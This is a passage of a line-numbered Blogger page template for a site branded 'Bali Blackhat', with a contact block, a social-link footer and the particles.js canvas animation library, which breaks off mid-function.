2395 </div>
2396
2397
2398 <div class='row'>
2399 <div class='col col-m-12 col-t-6 col-d-6 '>
2400 <div class='contact-form'>
2401 <b:section class='contact-form' id='contact-form' preferred='yes'/>
2402
2403 </div>
2404 </div>
2405 <!-- CONTACT -->
2406 <div class='col col-m-12 col-t-6 col-d-6'>
2407 <div class='col-md-6 contactRight wow fadeInUp animated' style='visibility: visible;'>
2408 <div class='contactBox'>
2409 <div class='icon lnr lnr-'/>
2410 <h3>Adress</h3>
2411 <p>Bali Indonesia</p>
2412 </div>
2413
2414 <div class='contactBox'>
2415 <div class='icon lnr lnr-'/>
2416 <h3>Phone number</h3>
2417 <p> 081234567890 </p>
2418 </div>
2419
2420 <div class='contactBox'>
2421 <div class='icon lnr lnr-instagram'/>
2422 <h3>Instagram</h3>
2423 <p>@_baliblackhat</p>
2424 </div>
2425
2426<div class='contactBox'>
2427 <div class='icon lnr lnr-facebook'/>
2428 <h3>facebook</h3>
2429 <p>Bali Blackhat</p>
2430 </div>
2431
2432 </div>
2433 </div>
2434
2435
2436
2437 </div>
2438 </div>
2439 <!-- Footer -->
2440 <footer class='align-center'>
2441 <div class='socials'>
2442 <a href='https://www.facebook.com' target='blank'><i class='icon fa fa-facebook'/></a>
2443 <a href='https://github.com' target='blank'><i class='icon fa fa-github'/></a>
2444 <a href='https://twitter.com' target='blank'><i class='icon fa fa-twitter'/></a>
2445 <a href='https://www.youtube.com' target='blank'><i class='icon fa fa-youtube'/></a>
2446 <a href='https://plus.google.com' target='blank'><i class='icon fa fa-google-plus'/></a>
2447 </div>
2448 <div class='copy'>© 2020 <data:blog.title/>. All rights reserved. Design By <a herf='http://www.templateclue.com/' href='http://www.templateclue.com/' id='templateclue' ref='dofollow' title='Bali Blackhat'> Bali Balackhat </a></div>
2449 </footer>
2450 </div>
2451
2452<!-- jQuery Scripts -->
2453
2454
2455 <!-- jQuery Scripts -->
2456<script class='java' type='text/javascript'>
2457 //<![CDATA[
2458 $(document).ready(function () {
2459 jQuery.ias();
2460 });
2461 //]]>
2462 </script>
2463
2464<script language='javascript' type='text/javascript'>//<![CDATA[
2465/* -----------------------------------------------
2466/* Author : Vincent Garreau - vincentgarreau.com
2467/* MIT license: http://opensource.org/licenses/MIT
2468/* Demo / Generator : vincentgarreau.com/particles.js
2469/* GitHub : github.com/VincentGarreau/particles.js
2470/* How to use? : Check the GitHub README
2471/* v2.0.0
2472/* ----------------------------------------------- */
2473
2474var pJS = function(tag_id, params){
2475
2476 var canvas_el = document.querySelector('#'+tag_id+' > .particles-js-canvas-el');
2477
2478 /* particles.js variables with default values */
2479 this.pJS = {
2480 canvas: {
2481 el: canvas_el,
2482 w: canvas_el.offsetWidth,
2483 h: canvas_el.offsetHeight
2484 },
2485 particles: {
2486 number: {
2487 value: 400,
2488 density: {
2489 enable: true,
2490 value_area: 800
2491 }
2492 },
2493 color: {
2494 value: '#fff'
2495 },
2496 shape: {
2497 type: 'circle',
2498 stroke: {
2499 width: 0,
2500 color: '#ff0000'
2501 },
2502 polygon: {
2503 nb_sides: 5
2504 },
2505 image: {
2506 src: '',
2507 width: 100,
2508 height: 100
2509 }
2510 },
2511 opacity: {
2512 value: 1,
2513 random: false,
2514 anim: {
2515 enable: false,
2516 speed: 2,
2517 opacity_min: 0,
2518 sync: false
2519 }
2520 },
2521 size: {
2522 value: 20,
2523 random: false,
2524 anim: {
2525 enable: false,
2526 speed: 20,
2527 size_min: 0,
2528 sync: false
2529 }
2530 },
2531 line_linked: {
2532 enable: true,
2533 distance: 100,
2534 color: '#fff',
2535 opacity: 1,
2536 width: 1
2537 },
2538 move: {
2539 enable: true,
2540 speed: 2,
2541 direction: 'none',
2542 random: false,
2543 straight: false,
2544 out_mode: 'out',
2545 bounce: false,
2546 attract: {
2547 enable: false,
2548 rotateX: 3000,
2549 rotateY: 3000
2550 }
2551 },
2552 array: []
2553 },
2554 interactivity: {
2555 detect_on: 'canvas',
2556 events: {
2557 onhover: {
2558 enable: true,
2559 mode: 'grab'
2560 },
2561 onclick: {
2562 enable: true,
2563 mode: 'push'
2564 },
2565 resize: true
2566 },
2567 modes: {
2568 grab:{
2569 distance: 100,
2570 line_linked:{
2571 opacity: 1
2572 }
2573 },
2574 bubble:{
2575 distance: 200,
2576 size: 80,
2577 duration: 0.4
2578 },
2579 repulse:{
2580 distance: 200,
2581 duration: 0.4
2582 },
2583 push:{
2584 particles_nb: 4
2585 },
2586 remove:{
2587 particles_nb: 2
2588 }
2589 },
2590 mouse:{}
2591 },
2592 retina_detect: false,
2593 fn: {
2594 interact: {},
2595 modes: {},
2596 vendors:{}
2597 },
2598 tmp: {}
2599 };
2600
2601 var pJS = this.pJS;
2602
2603 /* params settings */
2604 if(params){
2605 Object.deepExtend(pJS, params);
2606 }
2607
2608 pJS.tmp.obj = {
2609 size_value: pJS.particles.size.value,
2610 size_anim_speed: pJS.particles.size.anim.speed,
2611 move_speed: pJS.particles.move.speed,
2612 line_linked_distance: pJS.particles.line_linked.distance,
2613 line_linked_width: pJS.particles.line_linked.width,
2614 mode_grab_distance: pJS.interactivity.modes.grab.distance,
2615 mode_bubble_distance: pJS.interactivity.modes.bubble.distance,
2616 mode_bubble_size: pJS.interactivity.modes.bubble.size,
2617 mode_repulse_distance: pJS.interactivity.modes.repulse.distance
2618 };
2619
2620
2621 pJS.fn.retinaInit = function(){
2622
2623 if(pJS.retina_detect && window.devicePixelRatio > 1){
2624 pJS.canvas.pxratio = window.devicePixelRatio;
2625 pJS.tmp.retina = true;
2626 }
2627 else{
2628 pJS.canvas.pxratio = 1;
2629 pJS.tmp.retina = false;
2630 }
2631
2632 pJS.canvas.w = pJS.canvas.el.offsetWidth * pJS.canvas.pxratio;
2633 pJS.canvas.h = pJS.canvas.el.offsetHeight * pJS.canvas.pxratio;
2634
2635 pJS.particles.size.value = pJS.tmp.obj.size_value * pJS.canvas.pxratio;
2636 pJS.particles.size.anim.speed = pJS.tmp.obj.size_anim_speed * pJS.canvas.pxratio;
2637 pJS.particles.move.speed = pJS.tmp.obj.move_speed * pJS.canvas.pxratio;
2638 pJS.particles.line_linked.distance = pJS.tmp.obj.line_linked_distance * pJS.canvas.pxratio;
2639 pJS.interactivity.modes.grab.distance = pJS.tmp.obj.mode_grab_distance * pJS.canvas.pxratio;
2640 pJS.interactivity.modes.bubble.distance = pJS.tmp.obj.mode_bubble_distance * pJS.canvas.pxratio;
2641 pJS.particles.line_linked.width = pJS.tmp.obj.line_linked_width * pJS.canvas.pxratio;
2642 pJS.interactivity.modes.bubble.size = pJS.tmp.obj.mode_bubble_size * pJS.canvas.pxratio;
2643 pJS.interactivity.modes.repulse.distance = pJS.tmp.obj.mode_repulse_distance * pJS.canvas.pxratio;
2644
2645 };
2646
2647
2648
2649 /* ---------- pJS functions - canvas ------------ */
2650
2651 pJS.fn.canvasInit = function(){
2652 pJS.canvas.ctx = pJS.canvas.el.getContext('2d');
2653 };
2654
2655 pJS.fn.canvasSize = function(){
2656
2657 pJS.canvas.el.width = pJS.canvas.w;
2658 pJS.canvas.el.height = pJS.canvas.h;
2659
2660 if(pJS && pJS.interactivity.events.resize){
2661
2662 window.addEventListener('resize', function(){
2663
2664 pJS.canvas.w = pJS.canvas.el.offsetWidth;
2665 pJS.canvas.h = pJS.canvas.el.offsetHeight;
2666
2667 /* resize canvas */
2668 if(pJS.tmp.retina){
2669 pJS.canvas.w *= pJS.canvas.pxratio;
2670 pJS.canvas.h *= pJS.canvas.pxratio;
2671 }
2672
2673 pJS.canvas.el.width = pJS.canvas.w;
2674 pJS.canvas.el.height = pJS.canvas.h;
2675
2676 /* repaint canvas on anim disabled */
2677 if(!pJS.particles.move.enable){
2678 pJS.fn.particlesEmpty();
2679 pJS.fn.particlesCreate();
2680 pJS.fn.particlesDraw();
2681 pJS.fn.vendors.densityAutoParticles();
2682 }
2683
2684 /* density particles enabled */
2685 pJS.fn.vendors.densityAutoParticles();
2686
2687 });
2688
2689 }
2690
2691 };
2692
2693
2694 pJS.fn.canvasPaint = function(){
2695 pJS.canvas.ctx.fillRect(0, 0, pJS.canvas.w, pJS.canvas.h);
2696 };
2697
2698 pJS.fn.canvasClear = function(){
2699 pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h);
2700 };
2701
2702
2703 /* --------- pJS functions - particles ----------- */
2704
2705 pJS.fn.particle = function(color, opacity, position){
2706
2707 /* size */
2708 this.radius = (pJS.particles.size.random ? Math.random() : 1) * pJS.particles.size.value;
2709 if(pJS.particles.size.anim.enable){
2710 this.size_status = false;
2711 this.vs = pJS.particles.size.anim.speed / 100;
2712 if(!pJS.particles.size.anim.sync){
2713 this.vs = this.vs * Math.random();
2714 }
2715 }
2716
2717 /* position */
2718 this.x = position ? position.x : Math.random() * pJS.canvas.w;
2719 this.y = position ? position.y : Math.random() * pJS.canvas.h;
2720
2721 /* check position - into the canvas */
2722 if(this.x > pJS.canvas.w - this.radius*2) this.x = this.x - this.radius;
2723 else if(this.x < this.radius*2) this.x = this.x + this.radius;
2724 if(this.y > pJS.canvas.h - this.radius*2) this.y = this.y - this.radius;
2725 else if(this.y < this.radius*2) this.y = this.y + this.radius;
2726
2727 /* check position - avoid overlap */
2728 if(pJS.particles.move.bounce){
2729 pJS.fn.vendors.checkOverlap(this, position);
2730 }
2731
2732 /* color */
2733 this.color = {};
2734 if(typeof(color.value) == 'object'){
2735
2736 if(color.value instanceof Array){
2737 var color_selected = color.value[Math.floor(Math.random() * pJS.particles.color.value.length)];
2738 this.color.rgb = hexToRgb(color_selected);
2739 }else{
2740 if(color.value.r != undefined && color.value.g != undefined && color.value.b != undefined){
2741 this.color.rgb = {
2742 r: color.value.r,
2743 g: color.value.g,
2744 b: color.value.b
2745 }
2746 }
2747 if(color.value.h != undefined && color.value.s != undefined && color.value.l != undefined){
2748 this.color.hsl = {
2749 h: color.value.h,
2750 s: color.value.s,
2751 l: color.value.l
2752 }
2753 }
2754 }
2755
2756 }
2757 else if(color.value == 'random'){
2758 this.color.rgb = {
2759 r: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
2760 g: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
2761 b: (Math.floor(Math.random() * (255 - 0 + 1)) + 0)
2762 }
2763 }
2764 else if(typeof(color.value) == 'string'){
2765 this.color = color;
2766 this.color.rgb = hexToRgb(this.color.value);
2767 }
2768
2769 /* opacity */
2770 this.opacity = (pJS.particles.opacity.random ? Math.random() : 1) * pJS.particles.opacity.value;
2771 if(pJS.particles.opacity.anim.enable){
2772 this.opacity_status = false;
2773 this.vo = pJS.particles.opacity.anim.speed / 100;
2774 if(!pJS.particles.opacity.anim.sync){
2775 this.vo = this.vo * Math.random();
2776 }
2777 }
2778
2779 /* animation - velocity for speed */
2780 var velbase = {}
2781 switch(pJS.particles.move.direction){
2782 case 'top':
2783 velbase = { x:0, y:-1 };
2784 break;
2785 case 'top-right':
2786 velbase = { x:0.5, y:-0.5 };
2787 break;
2788 case 'right':
2789 velbase = { x:1, y:-0 };
2790 break;
2791 case 'bottom-right':
2792 velbase = { x:0.5, y:0.5 };
2793 break;
2794 case 'bottom':
2795 velbase = { x:0, y:1 };
2796 break;
2797 case 'bottom-left':
2798 velbase = { x:-0.5, y:1 };
2799 break;
2800 case 'left':
2801 velbase = { x:-1, y:0 };
2802 break;
2803 case 'top-left':
2804 velbase = { x:-0.5, y:-0.5 };
2805 break;
2806 default:
2807 velbase = { x:0, y:0 };
2808 break;
2809 }
2810
2811 if(pJS.particles.move.straight){
2812 this.vx = velbase.x;
2813 this.vy = velbase.y;
2814 if(pJS.particles.move.random){
2815 this.vx = this.vx * (Math.random());
2816 this.vy = this.vy * (Math.random());
2817 }
2818 }else{
2819 this.vx = velbase.x + Math.random()-0.5;
2820 this.vy = velbase.y + Math.random()-0.5;
2821 }
2822
2823 // var theta = 2.0 * Math.PI * Math.random();
2824 // this.vx = Math.cos(theta);
2825 // this.vy = Math.sin(theta);
2826
2827 this.vx_i = this.vx;
2828 this.vy_i = this.vy;
2829
2830
2831
2832 /* if shape is image */
2833
2834 var shape_type = pJS.particles.shape.type;
2835 if(typeof(shape_type) == 'object'){
2836 if(shape_type instanceof Array){
2837 var shape_selected = shape_type[Math.floor(Math.random() * shape_type.length)];
2838 this.shape = shape_selected;
2839 }
2840 }else{
2841 this.shape = shape_type;
2842 }
2843
2844 if(this.shape == 'image'){
2845 var sh = pJS.particles.shape;
2846 this.img = {
2847 src: sh.image.src,
2848 ratio: sh.image.width / sh.image.height
2849 }
2850 if(!this.img.ratio) this.img.ratio = 1;
2851 if(pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg != undefined){
2852 pJS.fn.vendors.createSvgImg(this);
2853 if(pJS.tmp.pushing){
2854 this.img.loaded = false;
2855 }
2856 }
2857 }
2858
2859
2860
2861 };
2862
2863
2864 pJS.fn.particle.prototype.draw = function() {
2865
2866 var p = this;
2867
2868 if(p.radius_bubble != undefined){
2869 var radius = p.radius_bubble;
2870 }else{
2871 var radius = p.radius;
2872 }
2873
2874 if(p.opacity_bubble != undefined){
2875 var opacity = p.opacity_bubble;
2876 }else{
2877 var opacity = p.opacity;
2878 }
2879
2880 if(p.color.rgb){
2881 var color_value = 'rgba('+p.color.rgb.r+','+p.color.rgb.g+','+p.color.rgb.b+','+opacity+')';
2882 }else{
2883 var color_value = 'hsla('+p.color.hsl.h+','+p.color.hsl.s+'%,'+p.color.hsl.l+'%,'+opacity+')';
2884 }
2885
2886 pJS.canvas.ctx.fillStyle = color_value;
2887 pJS.canvas.ctx.beginPath();
2888
2889 switch(p.shape){
2890
2891 case 'circle':
2892 pJS.canvas.ctx.arc(p.x, p.y, radius, 0, Math.PI * 2, false);
2893 break;
2894
2895 case 'edge':
2896 pJS.canvas.ctx.rect(p.x-radius, p.y-radius, radius*2, radius*2);
2897 break;
2898
2899 case 'triangle':
2900 pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x-radius, p.y+radius / 1.66, radius*2, 3, 2);
2901 break;
2902
2903 case 'polygon':
2904 pJS.fn.vendors.drawShape(
2905 pJS.canvas.ctx,
2906 p.x - radius / (pJS.particles.shape.polygon.nb_sides/3.5), // startX
2907 p.y - radius / (2.66/3.5), // startY
2908 radius*2.66 / (pJS.particles.shape.polygon.nb_sides/3), // sideLength
2909 pJS.particles.shape.polygon.nb_sides, // sideCountNumerator
2910 1 // sideCountDenominator
2911 );
2912 break;
2913
2914 case 'star':
2915 pJS.fn.vendors.drawShape(
2916 pJS.canvas.ctx,
2917 p.x - radius*2 / (pJS.particles.shape.polygon.nb_sides/4), // startX
2918 p.y - radius / (2*2.66/3.5), // startY
2919 radius*2*2.66 / (pJS.particles.shape.polygon.nb_sides/3), // sideLength
2920 pJS.particles.shape.polygon.nb_sides, // sideCountNumerator
2921 2 // sideCountDenominator
2922 );
2923 break;
2924
2925 case 'image':
2926
2927 function draw(){
2928 pJS.canvas.ctx.drawImage(
2929 img_obj,
2930 p.x-radius,
2931 p.y-radius,
2932 radius*2,
2933 radius*2 / p.img.ratio
2934 );
2935 }
2936
2937 if(pJS.tmp.img_type == 'svg'){
2938 var img_obj = p.img.obj;
2939 }else{
2940 var img_obj = pJS.tmp.img_obj;
2941 }
2942
2943 if(img_obj){
2944 draw();
2945 }
2946
2947 break;
2948
2949 }
2950
2951 pJS.canvas.ctx.closePath();
2952
2953 if(pJS.particles.shape.stroke.width > 0){
2954 pJS.canvas.ctx.strokeStyle = pJS.particles.shape.stroke.color;
2955 pJS.canvas.ctx.lineWidth = pJS.particles.shape.stroke.width;
2956 pJS.canvas.ctx.stroke();
2957 }
2958
2959 pJS.canvas.ctx.fill();
2960
2961 };
2962
2963
2964 pJS.fn.particlesCreate = function(){
2965 for(var i = 0; i < pJS.particles.number.value; i++) {
2966 pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value));
2967 }
2968 };
2969
2970 pJS.fn.particlesUpdate = function(){
2971
2972 for(var i = 0; i < pJS.particles.array.length; i++){
2973
2974 /* the particle */
2975 var p = pJS.particles.array[i];
2976
2977 // var d = ( dx = pJS.interactivity.mouse.click_pos_x - p.x ) * dx + ( dy = pJS.interactivity.mouse.click_pos_y - p.y ) * dy;
2978 // var f = -BANG_SIZE / d;
2979 // if ( d < BANG_SIZE ) {
2980 // var t = Math.atan2( dy, dx );
2981 // p.vx = f * Math.cos(t);
2982 // p.vy = f * Math.sin(t);
2983 // }
2984
2985 /* move the particle */
2986 if(pJS.particles.move.enable){
2987 var ms = pJS.particles.move.speed/2;
2988 p.x += p.vx * ms;
2989 p.y += p.vy * ms;
2990 }
2991
2992 /* change opacity status */
2993 if(pJS.particles.opacity.anim.enable) {
2994 if(p.opacity_status == true) {
2995 if(p.opacity >= pJS.particles.opacity.value) p.opacity_status = false;
2996 p.opacity += p.vo;
2997 }else {
2998 if(p.opacity <= pJS.particles.opacity.anim.opacity_min) p.opacity_status = true;
2999 p.opacity -= p.vo;
3000 }
3001 if(p.opacity < 0) p.opacity = 0;
3002 }
3003
3004 /* change size */
3005 if(pJS.particles.size.anim.enable){
3006 if(p.size_status == true){
3007 if(p.radius >= pJS.particles.size.value) p.size_status = false;
3008 p.radius += p.vs;
3009 }else{
3010 if(p.radius <= pJS.particles.size.anim.size_min) p.size_status = true;
3011 p.radius -= p.vs;
3012 }
3013 if(p.radius < 0) p.radius = 0;
3014 }
3015
3016 /* change particle position if it is out of canvas */
3017 if(pJS.particles.move.out_mode == 'bounce'){
3018 var new_pos = {
3019 x_left: p.radius,
3020 x_right: pJS.canvas.w,
3021 y_top: p.radius,
3022 y_bottom: pJS.canvas.h
3023 }
3024 }else{
3025 var new_pos = {
3026 x_left: -p.radius,
3027 x_right: pJS.canvas.w + p.radius,
3028 y_top: -p.radius,
3029 y_bottom: pJS.canvas.h + p.radius
3030 }
3031 }
3032
3033 if(p.x - p.radius > pJS.canvas.w){
3034 p.x = new_pos.x_left;
3035 p.y = Math.random() * pJS.canvas.h;
3036 }
3037 else if(p.x + p.radius < 0){
3038 p.x = new_pos.x_right;
3039 p.y = Math.random() * pJS.canvas.h;
3040 }
3041 if(p.y - p.radius > pJS.canvas.h){
3042 p.y = new_pos.y_top;
3043 p.x = Math.random() * pJS.canvas.w;
3044 }
3045 else if(p.y + p.radius < 0){
3046 p.y = new_pos.y_bottom;
3047 p.x = Math.random() * pJS.canvas.w;
3048 }
3049
3050 /* out of canvas modes */
3051 switch(pJS.particles.move.out_mode){
3052 case 'bounce':
3053 if (p.x + p.radius > pJS.canvas.w) p.vx = -p.vx;
3054 else if (p.x - p.radius < 0) p.vx = -p.vx;
3055 if (p.y + p.radius > pJS.canvas.h) p.vy = -p.vy;
3056 else if (p.y - p.radius < 0) p.vy = -p.vy;
3057 break;
3058 }
3059
3060 /* events */
3061 if(isInArray('grab', pJS.interactivity.events.onhover.mode)){
3062 pJS.fn.modes.grabParticle(p);
3063 }
3064
3065 if(isInArray('bubble', pJS.interactivity.events.onhover.mode) || isInArray('bubble', pJS.interactivity.events.onclick.mode)){
3066 pJS.fn.modes.bubbleParticle(p);
3067 }
3068
3069 if(isInArray('repulse', pJS.interactivity.events.onhover.mode) || isInArray('repulse', pJS.interactivity.events.onclick.mode)){
3070 pJS.fn.modes.repulseParticle(p);
3071 }
3072
3073 /* interaction auto between particles */
3074 if(pJS.particles.line_linked.enable || pJS.particles.move.attract.enable){
3075 for(var j = i + 1; j < pJS.particles.array.length; j++){
3076 var p2 = pJS.particles.array[j];
3077
3078 /* link particles */
3079 if(pJS.particles.line_linked.enable){
3080 pJS.fn.interact.linkParticles(p,p2);
3081 }
3082
3083 /* attract particles */
3084 if(pJS.particles.move.attract.enable){
3085 pJS.fn.interact.attractParticles(p,p2);
3086 }
3087
3088 /* bounce particles */
3089 if(pJS.particles.move.bounce){
3090 pJS.fn.interact.bounceParticles(p,p2);
3091 }
3092
3093 }
3094 }
3095
3096
3097 }
3098
3099 };
3100
3101 pJS.fn.particlesDraw = function(){
3102
3103 /* clear canvas */
3104 pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h);
3105
3106 /* update each particles param */
3107 pJS.fn.particlesUpdate();
3108
3109 /* draw each particle */
3110 for(var i = 0; i < pJS.particles.array.length; i++){
3111 var p = pJS.particles.array[i];
3112 p.draw();
3113 }
3114
3115 };
3116
3117 pJS.fn.particlesEmpty = function(){
3118 pJS.particles.array = [];
3119 };
3120
3121 pJS.fn.particlesRefresh = function(){
3122
3123 /* init all */
3124 cancelRequestAnimFrame(pJS.fn.checkAnimFrame);
3125 cancelRequestAnimFrame(pJS.fn.drawAnimFrame);
3126 pJS.tmp.source_svg = undefined;
3127 pJS.tmp.img_obj = undefined;
3128 pJS.tmp.count_svg = 0;
3129 pJS.fn.particlesEmpty();
3130 pJS.fn.canvasClear();
3131
3132 /* restart */
3133 pJS.fn.vendors.start();
3134
3135 };
3136
3137
3138 /* ---------- pJS functions - particles interaction ------------ */
3139
3140 pJS.fn.interact.linkParticles = function(p1, p2){
3141
3142 var dx = p1.x - p2.x,
3143 dy = p1.y - p2.y,
3144 dist = Math.sqrt(dx*dx + dy*dy);
3145
3146 /* draw a line between p1 and p2 if the distance between them is under the config distance */
3147 if(dist <= pJS.particles.line_linked.distance){
3148
3149 var opacity_line = pJS.particles.line_linked.opacity - (dist / (1/pJS.particles.line_linked.opacity)) / pJS.particles.line_linked.distance;
3150
3151 if(opacity_line > 0){
3152
3153 /* style */
3154 var color_line = pJS.particles.line_linked.color_rgb_line;
3155 pJS.canvas.ctx.strokeStyle = 'rgba('+color_line.r+','+color_line.g+','+color_line.b+','+opacity_line+')';
3156 pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width;
3157 //pJS.canvas.ctx.lineCap = 'round'; /* performance issue */
3158
3159 /* path */
3160 pJS.canvas.ctx.beginPath();
3161 pJS.canvas.ctx.moveTo(p1.x, p1.y);
3162 pJS.canvas.ctx.lineTo(p2.x, p2.y);
3163 pJS.canvas.ctx.stroke();
3164 pJS.canvas.ctx.closePath();
3165
3166 }
3167
3168 }
3169
3170 };
3171
3172
3173 pJS.fn.interact.attractParticles = function(p1, p2){
3174
3175 /* condensed particles */
3176 var dx = p1.x - p2.x,
3177 dy = p1.y - p2.y,
3178 dist = Math.sqrt(dx*dx + dy*dy);
3179
3180 if(dist <= pJS.particles.line_linked.distance){
3181
3182 var ax = dx/(pJS.particles.move.attract.rotateX*1000),
3183 ay = dy/(pJS.particles.move.attract.rotateY*1000);
3184
3185 p1.vx -= ax;
3186 p1.vy -= ay;
3187
3188 p2.vx += ax;
3189 p2.vy += ay;
3190
3191 }
3192
3193
3194 }
3195
3196
3197 pJS.fn.interact.bounceParticles = function(p1, p2){
3198
3199 var dx = p1.x - p2.x,
3200 dy = p1.y - p2.y,
3201 dist = Math.sqrt(dx*dx + dy*dy),
3202 dist_p = p1.radius+p2.radius;
3203
3204 if(dist <= dist_p){
3205 p1.vx = -p1.vx;
3206 p1.vy = -p1.vy;
3207
3208 p2.vx = -p2.vx;
3209 p2.vy = -p2.vy;
3210 }
3211
3212 }
3213
3214
3215 /* ---------- pJS functions - modes events ------------ */
3216
3217 pJS.fn.modes.pushParticles = function(nb, pos){
3218
3219 pJS.tmp.pushing = true;
3220
3221 for(var i = 0; i < nb; i++){
3222 pJS.particles.array.push(
3223 new pJS.fn.particle(
3224 pJS.particles.color,
3225 pJS.particles.opacity.value,
3226 {
3227 'x': pos ? pos.pos_x : Math.random() * pJS.canvas.w,
3228 'y': pos ? pos.pos_y : Math.random() * pJS.canvas.h
3229 }
3230 )
3231 )
3232 if(i == nb-1){
3233 if(!pJS.particles.move.enable){
3234 pJS.fn.particlesDraw();
3235 }
3236 pJS.tmp.pushing = false;
3237 }
3238 }
3239
3240 };
3241
3242
3243 pJS.fn.modes.removeParticles = function(nb){
3244
3245 pJS.particles.array.splice(0, nb);
3246 if(!pJS.particles.move.enable){
3247 pJS.fn.particlesDraw();
3248 }
3249
3250 };
3251
3252
3253 pJS.fn.modes.bubbleParticle = function(p){
3254
3255 /* on hover event */
3256 if(pJS.interactivity.events.onhover.enable && isInArray('bubble', pJS.interactivity.events.onhover.mode)){
3257
3258 var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
3259 dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
3260 dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse),
3261 ratio = 1 - dist_mouse / pJS.interactivity.modes.bubble.distance;
3262
3263 function init(){
3264 p.opacity_bubble = p.opacity;
3265 p.radius_bubble = p.radius;
3266 }
3267
3268 /* mousemove - check ratio */
3269 if(dist_mouse <= pJS.interactivity.modes.bubble.distance){
3270
3271 if(ratio >= 0 && pJS.interactivity.status == 'mousemove'){
3272
3273 /* size */
3274 if(pJS.interactivity.modes.bubble.size != pJS.particles.size.value){
3275
3276 if(pJS.interactivity.modes.bubble.size > pJS.particles.size.value){
3277 var size = p.radius + (pJS.interactivity.modes.bubble.size*ratio);
3278 if(size >= 0){
3279 p.radius_bubble = size;
3280 }
3281 }else{
3282 var dif = p.radius - pJS.interactivity.modes.bubble.size,
3283 size = p.radius - (dif*ratio);
3284 if(size > 0){
3285 p.radius_bubble = size;
3286 }else{
3287 p.radius_bubble = 0;
3288 }
3289 }
3290
3291 }
3292
3293 /* opacity */
3294 if(pJS.interactivity.modes.bubble.opacity != pJS.particles.opacity.value){
3295
3296 if(pJS.interactivity.modes.bubble.opacity > pJS.particles.opacity.value){
3297 var opacity = pJS.interactivity.modes.bubble.opacity*ratio;
3298 if(opacity > p.opacity && opacity <= pJS.interactivity.modes.bubble.opacity){
3299 p.opacity_bubble = opacity;
3300 }
3301 }else{
3302 var opacity = p.opacity - (pJS.particles.opacity.value-pJS.interactivity.modes.bubble.opacity)*ratio;
3303 if(opacity < p.opacity && opacity >= pJS.interactivity.modes.bubble.opacity){
3304 p.opacity_bubble = opacity;
3305 }
3306 }
3307
3308 }
3309
3310 }
3311
3312 }else{
3313 init();
3314 }
3315
3316
3317 /* mouseleave */
3318 if(pJS.interactivity.status == 'mouseleave'){
3319 init();
3320 }
3321
3322 }
3323
3324 /* on click event */
3325 else if(pJS.interactivity.events.onclick.enable && isInArray('bubble', pJS.interactivity.events.onclick.mode)){
3326
3327
3328 if(pJS.tmp.bubble_clicking){
3329 var dx_mouse = p.x - pJS.interactivity.mouse.click_pos_x,
3330 dy_mouse = p.y - pJS.interactivity.mouse.click_pos_y,
3331 dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse),
3332 time_spent = (new Date().getTime() - pJS.interactivity.mouse.click_time)/1000;
3333
3334 if(time_spent > pJS.interactivity.modes.bubble.duration){
3335 pJS.tmp.bubble_duration_end = true;
3336 }
3337
3338 if(time_spent > pJS.interactivity.modes.bubble.duration*2){
3339 pJS.tmp.bubble_clicking = false;
3340 pJS.tmp.bubble_duration_end = false;
3341 }
3342 }
3343
3344
3345 function process(bubble_param, particles_param, p_obj_bubble, p_obj, id){
3346
3347 if(bubble_param != particles_param){
3348
3349 if(!pJS.tmp.bubble_duration_end){
3350 if(dist_mouse <= pJS.interactivity.modes.bubble.distance){
3351 if(p_obj_bubble != undefined) var obj = p_obj_bubble;
3352 else var obj = p_obj;
3353 if(obj != bubble_param){
3354 var value = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration);
3355 if(id == 'size') p.radius_bubble = value;
3356 if(id == 'opacity') p.opacity_bubble = value;
3357 }
3358 }else{
3359 if(id == 'size') p.radius_bubble = undefined;
3360 if(id == 'opacity') p.opacity_bubble = undefined;
3361 }
3362 }else{
3363 if(p_obj_bubble != undefined){
3364 var value_tmp = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration),
3365 dif = bubble_param - value_tmp;
3366 value = bubble_param + dif;
3367 if(id == 'size') p.radius_bubble = value;
3368 if(id == 'opacity') p.opacity_bubble = value;
3369 }
3370 }
3371
3372 }
3373
3374 }
3375
3376 if(pJS.tmp.bubble_clicking){
3377 /* size */
3378 process(pJS.interactivity.modes.bubble.size, pJS.particles.size.value, p.radius_bubble, p.radius, 'size');
3379 /* opacity */
3380 process(pJS.interactivity.modes.bubble.opacity, pJS.particles.opacity.value, p.opacity_bubble, p.opacity, 'opacity');
3381 }
3382
3383 }
3384
3385 };
3386
3387
3388 pJS.fn.modes.repulseParticle = function(p){
3389
3390 if(pJS.interactivity.events.onhover.enable && isInArray('repulse', pJS.interactivity.events.onhover.mode) && pJS.interactivity.status == 'mousemove') {
3391
3392 var dx_mouse = p.x - pJS.interactivity.mouse.pos_x,
3393 dy_mouse = p.y - pJS.interactivity.mouse.pos_y,
3394 dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse);
3395
3396 var normVec = {x: dx_mouse/dist_mouse, y: dy_mouse/dist_mouse},
3397 repulseRadius = pJS.interactivity.modes.repulse.distance,
3398 velocity = 100,
3399 repulseFactor = clamp((1/repulseRadius)*(-1*Math.pow(dist_mouse/repulseRadius,2)+1)*repulseRadius*velocity, 0, 50);
3400
3401 var pos = {
3402 x: p.x + normVec.x * repulseFactor,
3403 y: p.y + normVec.y * repulseFactor
3404 }
3405
3406 if(pJS.particles.move.out_mode == 'bounce'){
3407 if(pos.x - p.radius > 0 && pos.x + p.radius < pJS.canvas.w) p.x = pos.x;
3408 if(pos.y - p.radius > 0 && pos.y + p.radius < pJS.canvas.h) p.y = pos.y;
3409 }else{
3410 p.x = pos.x;
3411 p.y = pos.y;
3412 }
3413
3414 }
3415
3416
